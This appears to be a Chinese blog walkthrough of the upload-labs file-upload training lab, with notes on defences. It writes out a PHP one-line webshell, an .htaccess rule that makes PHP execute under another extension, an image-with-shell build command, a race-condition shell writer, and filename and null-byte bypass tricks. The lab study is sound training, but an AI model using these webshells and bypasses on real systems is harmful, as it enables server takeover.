文件上传及upload-labs闯关

文件上传及upload-labs闯关


文章目录

  • 一、 一句话木马的编写及利用
  • 二、upload-labs第一关
  • 三、upload-labs第二关
  • 四、upload-labs第三关(双写绕过)
  • 五、upload-labs第四关(上传.htaccess绕过)
  • 六、upload-labs第五关(大写转换进行绕过)
  • 七、upload-labs第六关(文件增添空格绕过)
  • 八、upload-labs第七关(扩展名后添加点号)
  • 九、upload-labs第八关
  • 十、upload-labs第九关
  • 十一、upload-labs第十关
  • 十二、upload-labs第十一关
  • 十三、upload-labs第十二关
  • 十四、upload-labs第十三关
  • 十五、upload-labs第十四关
  • 十六、upload-labs第十五关
  • 十七、upload-labs第十六关
  • 十八、upload-labs第十七关
  • 小结

一、 一句话木马的编写及利用

<?php eval($_REQUEST['cmd']);?>

通过ip地址/shell.php?cmd=system('calc.exe');可以给靶机弹计算器

二、upload-labs第一关

编写一句话木马,并将其命名为1.jpg

<?php eval($_REQUEST['cmd']);?>

上传1.jpg,然后抓包,将其改回1.php

在这里插入图片描述

上传成功

三、upload-labs第二关

和第一关一样的方法,编写一句话木马,将2.php修改为2.jpg上传,再通过抓包中途改为2.php,成功上传到后台

在这里插入图片描述

另一种方法:
(1) 上传2.php的文件
(2) 通过burp抓包,修改文件类型为image/jpeg、image/png、image/gif
(3) 再发包成功上传

四、upload-labs第三关(双写绕过)

查看源码

在这里插入图片描述

上传3.php,抓包,双写,发包
在这里插入图片描述

上传成功
在这里插入图片描述

五、upload-labs第四关(上传.htaccess绕过)

直接上传4.php木马,发现报错
查看代码,发现源码中对扩展名进行了黑名单限制,所限制的文件类型不全,可上传.htaccess文件
所以可利用该文件解析规则增加新的可执行的扩展名.abc绕过,该文件内容如下:

AddType application/x-httpd-php .abc

然后上传一句话木马4.abc文件

在这里插入图片描述

六、upload-labs第五关(大写转换进行绕过)

直接上传木马5.php发现报错
查看源码,发现这里面并没有进行大小写转换,代码里面限制的是以小写php为扩展名的文件
因此我们上传5.PHP木马,成功

在这里插入图片描述

七、upload-labs第六关(文件增添空格绕过)

直接上传6.php木马,发现报错
查看源码,发现源码中对扩展名后方空格并未进行处理。
因此上传6.php木马,在请求报文中将php扩展名后面添加一个空格,然后发包

在这里插入图片描述

成功
在这里插入图片描述

八、upload-labs第七关(扩展名后添加点号)

查看源码,发现源码中对扩展名后点号(.)未进行处理。
上传7.php,抓包,在请求报文中,将php扩展名后面添加一个点号(.),然后发包

在这里插入图片描述

成功
在这里插入图片描述

九、upload-labs第八关

直接上传8.php,抓包,在在请求报文中8.php后面加上::$DATA

在这里插入图片描述

在这里插入图片描述

十、upload-labs第九关

查看源码:

在这里插入图片描述

前面所有可以利用的都给过滤了,分析下代码,先将首尾去空,又去除了::$DATA又转换为小写,再删去末尾的点。这样一来我们构造文件名,使其经过过滤后得到的还是php的文件名不就行了,所以就1.php. . 就可以绕过,也就是点+空格+点+空格绕过

在这里插入图片描述

成功:
在这里插入图片描述

十一、upload-labs第十关

第十关依旧是黑名单过滤,查看代码:

在这里插入图片描述

箭头所指代码将黑名单中的后缀名替换为空,而且只替换一次,所以我们可以利用双写来绕过
抓包,并修改后缀名:

在这里插入图片描述

成功:
在这里插入图片描述

十二、upload-labs第十一关

先查看代码:

在这里插入图片描述

看到是白名单判断,但是$img_path直接拼接,因此可以利用%00截断绕过:
在这里插入图片描述

成功
在这里插入图片描述

十三、upload-labs第十二关

查看代码:

在这里插入图片描述

save_path用POST方式传参,应该也是00截断,但是不会像GET方式那样会对%00进行解码。
由于无法自行解码所以我们需要在hex中找到相对应的位置将数字修改为00.
在这里插入图片描述

在hex中找到相对应的位置将数字修改为00.
在这里插入图片描述

成功:
在这里插入图片描述

十四、upload-labs第十三关

1.制作图片马:
新建一张空白图片shell.jpg,和一句话木马black.php,然后通过cmd命令行合成图片马:

copy black.jpg /b + shell.php /a blankshell.jpg

2.上传图片马
3.在文件包含漏洞的超链接中输入该图片马对应的路径并执行phpinfo()。

在这里插入图片描述

十五、upload-labs第十四关

和第十三关的解题思路一样

在这里插入图片描述

十六、upload-labs第十五关

用同样的方法实验,发现页面直接闪无
打开php扩展中的php_exif即可实现。

在这里插入图片描述

十七、upload-labs第十六关

上传图片马发现失败,查看上传后的图片,发现一句话木马部分被改过。
所以将一句话木马插入没有被渲染的地方,大概就是在文件前段。
成功!

在这里插入图片描述

十八、upload-labs第十七关

1.准备一个写shell的php脚本文件

<?php fputs(fopen('shell.php','w'),'<?php @eval($_REQUEST["test"])?>');?>

2.在保存上传的文件后,在判断类型前有一个时间间隙,需要快速的访问这个php文件
3.该php文件的功能是写一个shell
4.访问写入的shell

在这里插入图片描述

小结

(1)含义:由于后端开发者未对前端传入的文件扩展名和内容进行正确的识别和处理,导致攻击者上传的包含动态脚本的恶意代码文件被执行。
(2)危害:覆盖正常文件内容、写入网马(webshell)、控制服务器
(3)绕过手法:
①前端绕过
②后端绕过

  1. 黑名单绕过:生僻扩展名绕过、大小写、空格、点、::$DATA、图片马、.htaccess
  2. 白名单绕过:00截断、条件竞争

(4)防护思路:
①使用白名单但策略核查上传的文件类型
②升级网站组件
③解析漏洞

                       

点击阅读全文

上一篇 2023年 6月 7日 am10:23
下一篇 2023年 6月 7日 am10:25